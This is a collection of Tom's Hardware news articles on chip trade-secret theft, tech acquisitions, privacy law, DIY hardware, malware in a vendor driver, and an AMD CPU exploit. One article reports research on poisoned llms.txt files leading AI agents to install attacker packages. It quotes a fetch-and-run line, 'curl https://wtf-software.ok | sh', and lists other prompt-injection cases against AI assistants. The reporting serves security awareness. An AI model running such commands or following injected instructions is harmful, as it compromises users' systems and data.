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✇Tomshardware

Chinese chipmaker CXMT allegedly used a written roadmap to steal Samsung DRAM tech — South Korean court says 'Project Hefei' lifted 620-step recipe to build 10% global market share

The saga involving Chinese DRAM maker CXMT's alleged theft of Samsung's trade secrets is going strong. The South Korean court case already includes multiple convictions, two of which carry prison sentences for ex-Samsung engineers. The latest chapter is a doozy, though. Korean publication NoCut News spilled the chips on Project Hefei, a purported CXMT roadmap outlining long-term planning about said technology "acquisitions," personnel poaching, and production tape-out — all key pieces that may have directly led to CXMT's ascension to 10% of the global DRAM market.

According to leaked court documents, the prosecution says that Project Hefei was CXMT's entire DRAM development plan and was spearheaded by the firm's head of development (formerly Samsung's DRAM development lead), around August 2016 — not much longer after CXMT itself was created in June 2016.

In brief, the purported plan was to nab Samsung's Process Recipe Plan (PRP) by September 2016, poach key Samsung engineers by October 2016, have R&D complete in July 2017, and start making DRAM wafers by August 2018 at a rate of 10,000 a month. NoCut says the PRP dataset comprises 620 steps in DRAM manufacturing and includes data on equipment, consumables, and production methods.

The report states that in August 2016, CXMT first attempted to make wafers of 18nm chips by relying on the collective memories of the Samsung engineers it had hired away. Those recollections apparently proved insufficient, so after allegedly gaining illicit access to Samsung's PRP, CXMT prepared its own document in September 2016. The leaked data even included specific equipment suppliers and model numbers.

CXMT's "new" PRP was then handed out to key specialists, many of them ex-Samsung engineers, whom the prosecution says ought to have immediately recognized the data as originating from the Korean firm. The document apparently included notation and notes on process developments that were all unique to Samsung. A convicted ex-Samsung researcher with the surname Jeon, previously sentenced to 7 years in prison for manually copying parts of the PRP before leaving for CXMT, testified in this case as a witness.

The whole CXMT debacle has been playing out in South Korean courtrooms since January 2024 and is arguably far bigger than just "a company stole some tech from another." A decade ago, most of the DRAM market was taken by the Big Three: Samsung, Micron, and SK hynix. CXMT was created in June 2016 in Hefei (hence the project name), with a modest government investment of around $1.9 billion USD, allegedly with no R&D facilities whatsoever or any plan for research.

Going from zero facilities and institutional expertise to DRAM wafer production in little over two years would be an unprecedented feat, and presumably nigh impossible without the alleged IP theft; getting just the memory fab up and running usually takes two to four years, let alone any time for research. The firm claimed in 2019 that it designed its then-new 8 Gb DDR4 chips entirely in-house as a "leapfrog, independent" technology and began selling DRAM chips locally.

Then the AI locusts charged in and ate every chip on the planet. This demand resulted in explosive growth for CXMT, from an estimated 4% of the global DRAM market in Q2 2025 to around 10% in Q2 2016, marking the first time in over a decade that the Big Three held less than 90% of the pie.

Production capacity expanded to three 12" wafer fabrication facilities, expected to churn out a collective 350,000 wafers until the year is done — close to the same figure that Micron produces, of 375,000 to 385,000. CXMT is also planning to open a second fab in Beijing, aiming to produce over 600,000 wafers per month once it's online.

Furthermore, CXMT's gains aren't coming just from its DRAM market share. Revenue grew 716% in Q2 2026 alone, and its IPO on the Shanghai STAR Market in July 2026 saw its stock climb 466%, netting the firm a cool $8.6 billion USD and making it the most valuable chipmaker in the Chinese stock market.

About 70% of that money is reportedly going towards further expansion of DRAM production, rather than pricier, more complicated HBM. However, the firm has supplied HBM3E samples to Alibaba's T-Head and Cambricon, even as Samsung and SK hynix enter HBM4 production.

As of the South Korean prosecution's last tally in December 2025, Samsung's damages due to CXMT's alleged machinations ascended to "at least tens of trillions of won." A back-of-the-envelope extrapolation, considering quite a while has passed, might suggest a figure in the range of ₩40 trillion, or $29.5 billion, and rising exponentially.

The lasting impact on the memory market and technology in general is going well beyond plain number descriptors, though. All things considered, if the allegations are true, then CXMT's machinations resulted in a geopolitical-scale economic event. Dr. Evil would be proud.

✇Tomshardware

Nexus Mods acquires SteamDB after 13 years of solo dev work — promises no ads, no paywalls, and smarter mod-update tracking

It may come as a surprise to many readers (and me) to realize that the venerable SteamDB, used and beloved by a good chunk of PC gamers, was actually a one-man effort. The hero in question is Pavel Djundik (aka xPaw), who's been single-handedly developing, designing, managing, and doing systems administration for most of the site's 13 years of existence. He's earned his figurative retirement and now handed over the reins to well-known modding site Nexus Mods.

In a public statement and subsequent FAQ, Nexus Mods (NM) clarifies the acquisition situation. To immediately assuage fears, NM says that SteamDB will remain ad-free and won't have any paywalls placed on existing content. Users won't be required to use a NM account to browse the site, nor will there be any forced integration between both properties. The FAQ clearly states that NM "[is] not interested in changing SteamDB into something it isn't."

The new owners also explain in detail how meshing together both NM and SteamDB has the potential to be extremely beneficial for the modding community, at least at face value and our own experiences with game modding, they appear to have an excellent point. Installing and maintaining a set of mods for a game in this day and age is relatively easy, but anyone who's ever done it knows it's all sunshine and rainbows until a game update drops and breaks your careful curation.

SteamDB keeps track of game versioning down to individual deployments, complete with release dates, and changed files (a rough analog to a GitHub commits) — here's the info for Stalker 2 as an example. Nexus Mods can leverage this information to warn you there's a pending update, execute version pinning (keeping the game locked at a version that's compatible with the mod list), and also know if a mod install or uninstall broke the game installation, since it'll know what the unmodified files are meant to look like. This ought to allow for far better troubleshooting, too.

As far as the future of SteamDB goes, NM says straight up states the site "needs to make money," as it's relied on donations to Djundik and his daily work for a long while. Despite the monetization intentions, NM says "[it wants] to be smart about it," isn't looking to put ads on SteamDB, sell personal data, or put up paywalls or login walls. The NM folks mention partnerships, integrations, and affiliate links with publishers as ways to keep the numbers in the black, particularly as they intend for SteamDB to have an actual team running it.

For his part, Pavel Djundik tells a sadly familiar story: SteamDB was one of his passion projects, but as the site grew, the "self-inflicted workload [took] its toll." According to Djunidk, the radical change of the internet after COVID and the rise of AI sapped his passion further, and working as the sole man in the operation was unsustainable. He'd wanted to hand over the reins for years, but it wasn't until now he found "a worthy partner," particularly one that wouldn't riddle the site with ads. A hearty salute for your service, sir.

✇Tomshardware

EFF asks California governor to veto bill that would require online age verification — Electronic Frontier Foundation argues bill would result in privacy-invasive checks and step on First Amendment

With social networks tracking every single motion of our scrolling fingers and now the advent of data-hoovering AI models, it's easy to argue that staying anonymous online has never been harder. If you're a Californian, though, it will soon become harder still. Bill A.B. 1709, effectively requiring age checks on social networks, is set to become law unless Gavin Newsom vetoes it — a measure the Electronic Frontier Foundation (EFF) is requesting in an open letter to the governor.

A.B. 1709 doesn't explicitly require an actual online physical ID check, but given the way it's written, companies are free to use any means they see fit to fulfill that requirement. In turn, this leads the EFF to remark that the most likely choice for networks would be invasive checks like requiring the uploading of government IDs and/or biometric checks. The Foundation says that this would concentrate even more power in social media companies' hands, with a Californian's personal ID adding to their datasets.

Not only is said data collection ripe for abuse, but it's also ripe ground for data leaks that can expose users' information to malfeasants, as proven time and again by widespread breaches that have sadly become commonplace. Events involving retail chain Target, credit-score handler Equifax, and the UnitedHealth Group all leaked out millions of vital user information, later used in criminal impersonation attacks.

The EFF also argues that A.B. 1709 wouldn't help teenagers and could do more harm than good by keeping them out of "supportive online communities," as well as "deny [them] opportunities to develop their own voices and perspectives." The letter mentions that research on whether social networks are good or bad for teens is inconclusive, and that teens could have their First Amendment rights infringed as a result.

There's also a technical angle to the complaint, as the text for A.B. 1709 includes provisions that target algorithmic feeds, autoplay, endless scroll, and push notifications for users under 16. The EFF claims the bill's wording is vague enough to be interpreted as banning key standard features of social networks. Furthermore, the bill's text seems to imply that the Attorney General could be empowered to adopt more regulations in a bid to curb those "addictive" features.

Last but by no means least, the EFF notes that A.B. 1709 is "bound to be tied up in court" regardless, as already-enacted legislation from bills A.B. 1043 (pushing age verification to the device level, revealing an age bracket) and S.B. 976 (parental consent for enabling of social media features) is likely to conflict rather than complement the new bill's requirements. The bill's arguable step on First Amendment rights would likely see challenges, too. Should Governor Newsom let A.B. 1709 through, it will take effect on January 1, 2027, precisely four months from now.

✇Tomshardware

Techie creates a database of coil-whining graphics cards, power supplies, and liquid cooler pumps — open-source project wants community reports of affected parts

Most of us who build our own PCs have at some point experienced this: you install a new graphics card, fire up your favorite game that now runs faster, and you're greeted by this weird buzzing noise. That's called "coil whine," and while it's most prevalent in graphics cards, it can also affect power supplies, AIO cooler pumps, and many other electronics. Buying pricier gear is no guarantee it won't be affected, too, which is probably why Lowell K. Wood IV (aka iBlessi) of TechFuelHQ created a community-powered database of coil-whining parts.

Anyone can submit a report to the database using this simple form here, or submit a pull request in the database repository if they're feeling fancy. The form covers the aforementioned product categories and lets the user pick out the precise brand, product version, SKU, and year. The coil whine is graded from 0 for "silent" to 4 for "audible at idle", a category that I personally would rename to "toss out the window." Reporters also get to pick out whether the issue happens at idle, load, in a game menu with uncapped framerate, or running Furmark.

The main project page remarks on the importance of having reports about hardware that is silent, given the natural tendency that "annoyed owners over-report and silent units under-report." Wood notes that the published coil-whine percentage for any one piece of gear is a ceiling rather than an estimate. For example, having 20 reports of coil whine and 20 reports of silence for a part doesn't automatically imply that half of the units are noisy. A part will only show a coil-whine verdict once at least 5 reports are collected.

If you're wondering what causes coil whine, it's a vibration-induced noise that originates in components that switch states at high frequencies. While physics dictates that low rumbles travel further, the human ear and brain are tuned for mid-range frequencies, which is why a whine with a low decibel reading might be exceedingly annoying (and also the reason why a crying baby sounds louder than anything else).

The "coil whine" designation originates from inductors with literal wire coiled around a core material, but is now colloquially used for other parts that can exhibit similar behaviors like transformers, chokes, and ceramic capacitors.

The Coil Whine Database ought to start showing results as soon as enough data rolls in, and it's one of Wood's several open-source projects of this type. He's also authored the GPU Undervolt Settings Database (with a GitHub project here), and a PC Builder with compatibility verification, similar in concept to the popular PCPartPicker website.

✇Tomshardware

Researchers easily trick Fortune-500 companies' AI agents into running arbitrary code — supply-chain attack via llms.txt guidance file illustrates how data has become code

Researchers have managed to execute code within an "llms.txt" file that many large companies use to instruct AI agents on how to scrape the website correctly. Back when the internet exploded and search engines became popular, sites started publishing a "robots.txt" file to guide search bots to content. That's still widely used today, but it's now been supplemented with "llms.txt", a file containing textual instructions for AI agents to follow.

The experts from Pandex got their own code to run on AI agents from "companies you have definitely heard of" in the Fortune 500 list, and illustrated yet another way in which the once-sacred distinction between "data" and "code" is all but dead.

The purpose of llms.txt is straightforward: it's often hosted on a software product's website and contains a brief description, setup instructions, and quick installation steps — think of the usual README file, but written for agents. When a bot reaches the website, instead of spending precious tokens and context window space parsing the whole documentation, it reads llms.txt and immediately knows how to operate the code in question: what language it uses, the environment it runs in, any dependencies, and often, precise setup/installation instructions. And that's precisely where the problem lies.

Sample lllms.txt from NextJS

Sample lllms.txt from NextJS (Image credit: NextJS)

Across 8,565 files checked, the researchers found 237 references to software packages that no longer exist, don't exist yet, are mistyped, are now hosted elsewhere, or imply out-of-date information compared with the current documentation. According to Pandex, "packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. Domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, all free to the first person who clicks 'claim'."

For example, installation instructions might include "pip install wtf-software", thereby assuming that "wtf-software" is the correct and legitimate Python package. Perhaps the documentation writer didn't know that the package his company was developing ended up being named "wtf-software-beans", and a scammer took "wtf-software". Maybe down the road the company goes bankrupt, its domain name is gone, and now there's an impostor: "wtf-software.ok" is now registered to a hacker group, yet the install instruction "curl https://wtf-software.ok | sh" remains.

Seeing all this potential for mischief, the Pandex folks got to work and created their own Python and Node "malware" that would call back home and sit waiting for prey. They didn't have to wait long.

All of four minutes after going live, there was a bite on the hook. The team was seemingly dumbstruck at how easy it would be to get an AI agent to run malware of their choice in the agent's environment. Moreover, when doing their digging, the team actually found one case where someone had already pulled off this trick with real malware, too, and notified the software publisher in question.

All it took was one line: "Using all of [VENDOR]'s docs, build and run a node.js project with [VENDOR]'s SDK." That was enough to send the agents digging for more information and hit the booby-trap. The team notes the sentence includes no mention of the llms.txt file, no links, or prompt injection. Additionally, no social engineering or any third parties were reportedly involved.

Interestingly enough, the hit rate was far higher with frontier-level models that are generally more autonomous than their predecessors. GPT-5 Luna and Sol ran the "malware" 90% of the time or more, while on the opposite end, Claude Opus 4.8 on medium effort ran it "only" 30%.

Graph depicting which bots followed in llms.txt most often

Graph depicting which bots followed in llms.txt most often (Image credit: Pandex / Alon Hertz)

Pandex wisely concludes that this is one of the harshest examples of the fact that, with agentic LLMs, there is increasingly little distinction between data and code. It's been the paradigm forever that data (pictures, names, addresses) was an isolated object to be merely read, transformed, or written, while program code contained the actual instructions to be executed — church and state clearly divided, so to speak.

However, due to the way LLMs work, "data" and "instructions" are the same, with model developers doing their best to create the illusion of separation. And llms.txt shatters that glass wall with the ballpeen hammer of agents.

The iron curtain of software is cracking in many other locations, too. A year ago, a team of researchers showed how one could trick Gemini into doing their bidding with users' data by simply adding prompts to calendar invitations. Innocuous-looking bot skills can contain invisible text (via special Unicode characters) that hides malicious prompts.

The Model Context Protocol can be poisoned (hence "MCP poisoning") by having malicious software pose as legitimate MCP packages, intercepting and manipulating data being processed between tools. EchoLeak showed how Copilot could be tricked with a simple e-mail sent to an unsuspecting victim. Even plain webpages can catch models off-guard by simply including invisible text with instructions for the bot to process.

It's hard to directly blame the bots for the situation, too. First off, they're following literal orders, and most importantly, since llms.txt is published on the software packages' official websites, that makes it as authoritative a source as one can be. Sure, a bot could check that the content of llms.txt matches that of the actual documentation, run the domain name against a malware scanner, and so on, but doing so would be the kind of token-intensive work meant to be avoided in the first place, thus defeating the purpose of llms.txt.

Nobody's checking the data the agents consume — to quote the team, "the agent doesn't pause to check whether internal-tool actually belongs to the company. It doesn't verify the namespace on PyPI. It doesn’t notice that the documentation link points to a domain that expired three months ago." Plus, the security suites and network permissions in whichever environment the agent and/or their handler are in probably have the major package repositories all whitelisted.

The fact that many software ecosystems are subject to a high level of churn doesn't help matters. An analysis of 13 million packages showed that around 30% to nearly 60% of packages across the Node.JS, Go, and .NET worlds lost development activity within two years of their release — nasty figures, even if they include packages that are actually stable, just not frequently updated. Each abandoned package can be mentioned in an llms.txt file that didn't get updated.

Then, there's the problem that llms.txt itself is not a user-facing file. The file doesn't appear in a user's browser, and therefore, its update likely gets forgotten or indefinitely postponed.

The constant rush-to-market mentality of the modern age and the ease with which one can ask a bot to write and publish code likely doesn't help. It's exceedingly easy to kick off a new product and preemptively create documentation with placeholder names to fix later... that aren't. In big corporations, the person responsible for writing the documentation might not be the same person who does the code, while a third person might be responsible for checking everything afterward.

And in a twist of irony, any or all of these people will be using LLMs and end up subject to slopsquat/hallusquat attacks, in which the bot writing documentation or project code hallucinates predictable package names that malfeasants can calculate and squat ahead of time.

Supply-chain attacks became increasingly common as contemporary high-level languages allowed for faster development speed but also increased package and business churn. Now with agents in the mix, the situation is likely to get worse before it gets any better. As Microsoft's Mark Russinovich et al stated, "there is no simple 'fix' for these behaviors", an assessment supported by the fact that a lot of high-level contemporary development is targeted at the problem.

✇Tomshardware

DIY archivists push budget Nikons to 902,000 clicks to save 1,800 rare books — team trains neural net on Photoshop edits to process 526,000 scans

Around 2015, a trio of Pakistani friends took it upon themselves to digitize a large number of out-of-print books in Urdu, many of them lithographs — they call it the Ibteda Digital Library. They did it for the love of the language, with no budget or support, but after 576,000 shutter counts on a D5300 camera, 326,000 on a D3300, and 526,000 dual-page photos, they have now had to call it quits after a decade. However, eventually one of the trio came up with a finely-tuned machine-learning process that may eventually be of help to similar projects worldwide. The project certainly stands in contrast to the current practice of large AI companies scanning rare books and destroying them to train AI chatbots.

The team didn't have any formal budget worth and bought all of the books out of their own pockets. They kicked off the efforts with a single Nikon D5300 camera, some LED bulbs, and a glass sheet taken from a photocopier to squeeze the books against. The process was manual in more ways than one: besides turning the pages by hand, the members spent copious amounts of time in Photoshop post-processing the results.

Getting an archival-quality digital copy of a page isn't as simple as taking a photograph with the best camera you can find. It requires maintaining consistent margins, text size, orientation, and using the same perspective correction across an entire book, among many other fine details. Rarely can the same procedure be used across more than a few publications — even given two otherwise identical books, book A may be much thicker than book B, meaning the spacing between the pages, and possibly the perspective, will be different.

Adding to the challenge, the bulk of the works were in Urdu script, likely Nastaliq. Urdu is the national language of Pakistan and also spoken across part of India, and in many worldwide communities. Its written form was originally an elegant flowing script, but people switched to using Roman characters with the advent of phones and the internet.

The script format means that layouts are almost always unique, and the corpus includes everything from printed books to centuries-old lithographs to handwritten notes. Plus, Urdu script uses a lot of dots, diacritics, and small symbols, meaning photography noise, dirt, and blemishes had to be visually distinguishable from actual writing. In other words, each book was its own corner case, and old lithographs in particular had copious amounts of margin notes.

All told, this meant that while photographing the books was tedious but reasonably fast, the post-processing was definitely not. After 576,000 shutter counts on the D5300 and 326,000 on the D3300 camera, there were over 526,000 dual-page photos left to handle after the team had to give up on the project in April 2026. Manually processing those was out of the question, so one of the researchers turned their eye to automation using OpenCV.

The first few attempts with standard computer-vision methods didn't work out, as a rule set that worked for a set of books completely failed for the next one. The author then understood they could use their own manually processed images to establish a source/target correspondence: in their own words, "finished pages became labels," giving birth to the idea of calculating the homography fit from the Photoshop files and using it for training a neural network.

The first challenge was matching the crop borders, easier said than done because "dense Urdu print repeats strokes, words, borders, and column patterns," meaning that marks from neighboring pages could throw off the measurements. Next up, visible area identification and gutter separation were made tricky by tables and deep gutter shadows. Cropping errors required a specific pass, as did blemish removal.

Interestingly enough, the researcher noticed that using a bigger model or more training samples actually reduced the accuracy of the results. The choice of crop margin (inset) for each book was unique, made to the editor's judgement. But since it had no discernible pattern, adding more books made the model's pattern recognition worse, not better.

The final process still needs ten calibration crops for a new book, but that's a pretty reasonable amount of manual labor to be able to process a book entirely. Finally, the books are hosted in a ZFS pool with BLAKE3 manifests.

The entire tale and all the technical details are explained in a lengthy blog post, and you can peruse the beautiful Urdu writings at the Ibteda Digital Library page at the Internet Archive. My Western eyes can't read any of it, but the poem translations are beautiful.

✇Tomshardware

Claude nukes a developer's 700 GB home directory while testing deletion safeguards; automatic model safety downgrade may have contributed to the screw-up — Anthropic safety harness downgraded model to Opus 4.8 before fatal variable collision

Stories of AI agents running amok and following instructions literally, creatively, or a surprising mix of both are becoming common. In the case of developer Sebastien Guillemot, Claude ran an exceedingly effective cleanup operation: The bot managed to free 700 GB of disk space, but it was in the form of Guillemot's entire data folder and one week's worth of work, and it occurred after the model was automatically downgraded due to security concerns.

The developer frequently uses AI agents, and became a bit annoyed that a lot of them didn't clean up after themselves, leaving copious amounts of junk behind in the /tmp directory. Proving the old adage that once you have a hammer, everything looks like a nail, Guillemot asked Claude Fable to write a script that would sandbox each agent under its own folder in /tmp and run a cleanup after they were done. The main problem, naturally, was not deleting files that were actually in use.

Claude destroying a developer's home directory

Claude destroying a developer's home directory (Image credit: Getty Images)

Fable suggested adding logic to detect running agents and delay deleting their slice of /tmp, but Guillemot then told the bot the resulting code was far too complicated. Perhaps because the script involved hard deletion of data, Fable took it upon itself to perform an adversarial review, meaning the agent ran a new copy of itself to safety-check its own findings. Anthropic's harness then deemed the script risky enough to downgrade the model to Opus 5 and then Opus 4.8.

Opus 4.8 proceeded to run the safety test, attempting to match the targets of the deletion command against /tmp and the user's home directory to ensure a deletion command wouldn't be run against them. They were correctly identified as dangerous. However, since this was a code test, and you need to clean up after a test, the cleanup step deleted the user's home directory — it reused the same variable name for both the test itself and cleanup.

Guillemot stopped the process, but not in time. Adding insult to injury, after the agent wiped Guillemot's work, it did in fact leave /tmp behind. Some users suggested a few tools like Termaxa and other workarounds for these situations, but the fact that these tools need to exist in the first place is somewhat ironic.

The fact that the harness dropped to a lower-end model due to safety concerns likely contributed to the problem, too. Given that Fable 5 outperforms Opus 4.8 in coding tasks, it might have caught the contradiction with the variable names in the test.

The developer got most of his data back thanks to collecting information from git, nix, session logs, and so forth. Yet there's some irony: all these agents running, and not one daily backup.

✇Tomshardware

Mad scientist makes LEDs in his backyard — semiconductor wizard who made his own RAM turns his attention to using bathroom eBay laser to etch sapphire wafers

The Dr. Semiconductor YouTube channel only has a few videos, but the man is quickly making a name for himself. He's built a semiconductor cleanroom in his backyard and made his own RAM cells there. Matthew Hartensveld (his real name) needs to figure out a way to package (cut and write) the RAM cells, so he figure he might as well use the opportunity to make some free-range, homemade LEDs while he was at it. This latest adventure is part of his open-source Semiconductor.DIY project.

The entire video is fascinating and information-dense, so we suggest you watch it to get the complete picture. Hartensveld started off with gallium nitride atop a sapphire wafer, that he proceeded to break into shards and clean with a solution including deionized water, acetone, and isopropyl. The primary goal was to etch the top layer of the material in order to define pattern contacts. Chlorine gas would be the obvious answer as that's what's used industrially, but it'd be more than a little hazardous in this setting.

The scientist turned his attention to a household item that makes every nerd happy: lasers. He ordered a powerful one from eBay, and moved it into his bathroom so his dog wouldn't look into it. Hartensveld quickly came across the problem that there was basically no information online about using said laser, and after a few attempts he managed to etch some scribbles on the wafer, and then actual patterns. After this, he test-drove the "LED" shard by smooshing some indium on it and using a 9 V battery, and lo and behold, there was blue light.

Doing so left a deposit of metallic gallium atop the pattern, so he came up with a solution to clean that up to leave the etched parts clearly exposed. Using a vacuum chamber with a two-stage pump that sucked out 99.999999% of the air out, he deposited a nickel/silver layer for the positive contact, then a titanium/silver for the N-contact and top metal, using argon plasma as the top gas. Even still, he later regretted not letting the chamber run for a while longer to draw out yet more air, to reduce residual gas.

At this point, Hartensveld had a fully working blue LED, though still in a wafer. That's right, blue, the color of LED that was a mystery for decades until a dedicated Japanese engineer figured it out. At any rate, the time came to package these LEDs, meaning cut them out of the wafer, and add physical connections. A table saw with very thin blades didn't really worked out, so in pure scientist fashion, Hartensveld turned once again to the laser, focusing it at a specific point to melt away the sapphire substrate. After an adjustment to make this a multi-passs process, he finally had a full cut.

The madlad still needed to add wire connectors, and after evaluating a few options, settled on indium bumps, the same method and material used in digital cameras. Last but not least, since he already had a blue LED on hand, he added a layer of cerium-doped yttrium aluminum garnet (just bought off Alibaba) to add a yellow filter to end up with an ugly but functional white LED.

✇Tomshardware

Enthusiast turns a Lenovo Yoga laptop, an M.2 slot, and AMD Radeon RX 7900 XT into 'the world's stupidest' desktop for local AI chatbots — M.2 franken-rig crippled by laptop DRAM swap

About a month ago, techie Redditor Alternative-Panic69 (Panic) had the idea of acquiring a Radeon 7900 XT with 20 GB of VRAM for LLM use, a significant undertaking in their home country of India. They found one for $550, an excellent deal even by Western standards, and they were off to the races with Qwen and GLM in tow. Panic intended to use this card in a Lenovo M910Q desktop, but the machine wouldn't cooperate, so recently they turned to the next logical thing: a Lenovo Yoga laptop.

As Panic themselves put it, they took the "completely sane decision to perform surgery on [their] laptop." Armed with an ADT-Link PCIe external cable connector wired to the laptop's M.2 slot, a DeepCool PL750D power supply, and some quick bottom-panel removal, they managed to wire everything together in a manner that mostly worked.

With the M.2 slot now unavailable, the first challenge was having somewhere to boot from, a task accomplished by a USB SSD. Getting a picture with the main display hooked into the 7900 XT "worked beautifully", with Furmark doing 500 FPS at 1080p. This arrangement had to go, though, as the display framebuffer(s) were eating into precious VRAM necessary for the models, so the integrated graphics silicon was back to its original assignment.

Panic mused at how "[their] laptop was sitting there looking like it had been converted into a PCIe development board," but ended up having some harsh realizations about trying to wrangle fairly large LLMs (Qwen 35B A3B, GLM-4.7 Flash) exclusively on the GPU, all with a 128K-token context window.

Another Redditor pointed out that was a classical "pick two out of three" situation, and indeed that was the case, as Panic found that ultimately his laptop's memory (or lack thereof) proved to be a serious bottleneck. The large context window needed lots of associated data in RAM, and eventually the available DRAM was exhausted, and the laptop began using swap space, grinding performance to a halt, to the point where the GPU was "being idle, occasionally in bursts."

The story ends in somewhat predictable fashion: as interesting and visually striking this project was, they needed their laptop as an actual mobile device again, so they elected to buy the cheapest AM4 machine they could find to fit the Radeon 7900 XT and the power supply in. As Panic themselves said, "buying an old office tower would have been the sensible solution. I wasn't here to be sensible."

✇Tomshardware

Player builds working AI chatbot in vanilla Minecraft using 445K command blocks — clever approach shrank initial block count from over 1 million, requires no mods, plugins, or datapacks to work

Anyone who's played Minecraft for a while is familiar with community creations like in-game graphing calculators, QR code generators, and Tetris games built using command blocks, mods, and far too much free time. Building AI tools is a logical next step, and several complicated projects have arisen in that vein using redstone. Reddit user Objz, however, implemented an LLM using only 445,782 command blocks and no mods, plugins, or datapacks. By its creator's description, the project was "a headache."

Objz's LLM isn't actually that large. It only has a 64-dimensional embedding space, a 256-neuron hidden layer, and a tiny vocabulary of 2,048 words, and was trained on 11,118 DailyDialog conversations. Users can talk to it using the game's "/dialog" functionality, and the output stream comes back one word at a time, as with typical chatbots.

Even with that training, however, the author notes that this LLM is only conversational and isn't particularly clever, as it cannot do math and has no broad knowledge.

Even still, the work on display is quite impressive. 445,000 command blocks sounds like a lot until you realize that this kind of data and computational structure would require literally millions of cubes were it not optimized. Indeed, the original version, even with the aforementioned capabilities, rang in at nearly 2 million blocks. LLM weights are normally represented with floating-point values, which would be prohibitively complicated to implement, so Objz opted to use only ternary values for the weights: -1, 0, and +1.

Minecraft's "scoreboard" command supports multiplication and division, but it's integer-based, and using it would require integer-float conversion, thus adding extra operations. The initial quantization to -1/0/+1 kills two zombies with one stone, skipping commands and shrinking the dataset. The equivalent of each multiply-accumulate operation, then, averages 0.67 commands thanks to all the null values.

Objz notes that they didn't just round off the values from a normal model after the fact to achieve this ternary representation. The creator quantized them from the get-go for the forward pass through the model during training and used a straight-through estimator during backpropagation to update the underlying floating-point weights. That step helped lower the perplexity rate (roughly, how likely a model is to produce a nonsensical word in a response sequence) from 48.7 to 38.8 after some additional optimizations.

Given Minecraft's limits on how many commands it can execute at once, the LLM is split into smaller groups, and even then, it takes about 1.8 seconds to generate each word in a response on a 35-tick-per-second server. The author remarks that making this LLM bigger and smarter would be a computationally costly affair, as even a 135-million-parameter LLM built using this architecture would be a whopping 200x larger than this project. But it's a clever example of how constraints spur creativity.

✇Tomshardware

Firm test-fires 3D-printed, fully cryogenic reusable rocket engine — Indian startup leverages SLM printing to create its first working prototype

It's a safe bet that 3D printer aficionados would definitely own an industrial SLM (Selective Laser Melting) printer if they could, as the creative possibilities granted by them are endless. One such possibility is making actual working rocket engines, as Indian startup Othisis just demonstrated with a stationary test-fire of its fully cryogenic rocket engine, after a few failed attempts.

As a broad description, SLM printers work by depositing a layer of microscopic metal powder on a base, and then firing a laser that melts the powder into solid at specific places. The base then drops down a fraction of a millimeter, a new layer of powder is deposited, and the process repeats. All told, this results in layers around just 0.05 to 0.06 mm thick, made of metals and alloys that traditional consumer 3D printers can't quite handle. Here's an illustrative video of the process.

🚨 Bengaluru-based Othisis has successfully hot-fired its 5 kN fully cryogenic, 3D-printed rocket engine.This engine has a total impulse of 100 kNs and will be used to launch and land their reusable hopper rocket planned for later this year. pic.twitter.com/JqHumMDFHjAugust 12, 2026

Othisis' engine doesn't yet have a name, but it's a 5 kN fully cryogenic design, meaning that it uses both liquid oxygen (LOX) and methane as propellants, kept chilled in liquid state. As expected these days, the firm intends this design to be a VTVL (vertical take-off, vertical landing) reusable design. The Othisis design uses the chilled-fuel loop for cooling, plus both LOX and methane can be theoretically manufactured in-situ from CO2 and water.

Additionally, the burn is stronger than the commonly used Kerolox, while leaving behind almost no residue, lowering maintenance time and improving reusability turnaround. Drawbacks include lower fuel density (thus the need for larger tank sizes), trickier storage due to the low temperature, and potential hazards for handling.

Othisis has reportedly signed MoUs (memorandum of understanding) to carry payloads into space, even though it's only been formally in business for two years. The company is the brainchild of Syed Affan, the creator of the Rocketry India Discord server, who founded the company while pursuing his undergraduate degree.

✇Tomshardware

Geekom admits to shipping malware-laced network drivers for AMD mini PCs — company responds with guidance, removes malicious package

For the most part, you can rest assured that your device will remain uncompromised by malware if you keep to verified, trusted sources for downloading software. And yet, software booby traps sometimes find their way onto legitimate wares, as was the case of Geekom's network drivers for its range of A7, A8, AE7, AE8, AX7 Pro and AX8 Pro mini-PCs, as discovered by Videocardz.

If you have a Geekom mini-PC from those lines and have installed the LAN driver from the firm's website in the past, we'd advise a full system wipe if possible, or at the very least a Windows Defender offline scan. But in the words of Lt. Ellen Ripley, "nuke the entire site from orbit. It's the only way to be sure."

As it's part of a driver installer, this malicious software would get administrator-level permissions on your machine, being granted permission to steal all your data, intercept your keystrokes, or retrieve passwords. It connects to command-and-control centers so that the malfeasants can remotely access your PC at any time.

The basic story is fairly simple and sad as these things go: a support page for those series of machines contained a LAN driver whose installer was laced with the Asruex backdoor malware. As expected, Geekom has removed the software package in question and offered an apology, stating the driver was on a "legacy page [that] had already been replaced and was no longer accessible through the normal Support navigation, although it remained indexed by search engines."

The latter bit is precisely the problem, as it's a reasonable bet that many users (like yours truly) will first use Google or AI search to find the driver, and wouldn't go through Geekom's support menus. Furthermore, Geekom requested that Videocardz retract its original reporting of the problem, an arguably questionable move, and an ask that Videocardz denied.

For its part, Videocardz checked that the Asruex malware was indeed present with four separate detection engines: VirusTotal, FileScan.IO, MetaDefender, and Yarafy. It's worth nothing that nothing suggests that these families of mini-PCs are vulnerable out-of-the-box, too. That was unfortunately the case with some AceMagic machines a couple years ago that shipped with Bladabindi and Redline malware from the factory, as was Asus' incident with poisoned software updates in 2019.

The common knowledge for a new install is to get driver packages from Windows Update and only go to the manufacturers' website if something is amiss. However, many users might go to Geekom's site to ensure that they have the latest versions of their drivers, or perhaps they downloaded the LAN driver when trying to diagnose network issues of some sort.

As for a baseline cause, in our view this is clearly a case of Hanlon's Razor, as relatively small OEMs would have next to nothing to gain and everything to lose by intentionally shipping malware packages with their machines. As can be attested by most anyone who's installed Windows motherboard software of variable quality, Taiwan has historically been regarded as considering software a secondary concern when developing technology products, in part thanks to its unique geopolitical situation and the fact that its government only splits 30% of its IT budget to software.

✇Tomshardware

Just one instruction on AMD's 2015-era CPUs cracks open secret memory areas and gives full hardware-level control — exploit for 15h and 16h chip families gets you access to Platform Security Processor, microcode, and System Management Interface

Many cybersecurity exploits have been deemed The One Ring To Rule Them All, but that moniker is rarely as true as a literal bit that disables the memory mapping on some AMD CPUs, granting access to normally inaccessible areas. With just one instruction, you can access off-limits software like Platform Security Processor (PSP) where the TPM runs, the System Management Mode (SMM), microcode patch RAM, and other various sundries — in other words, full hardware-level control.

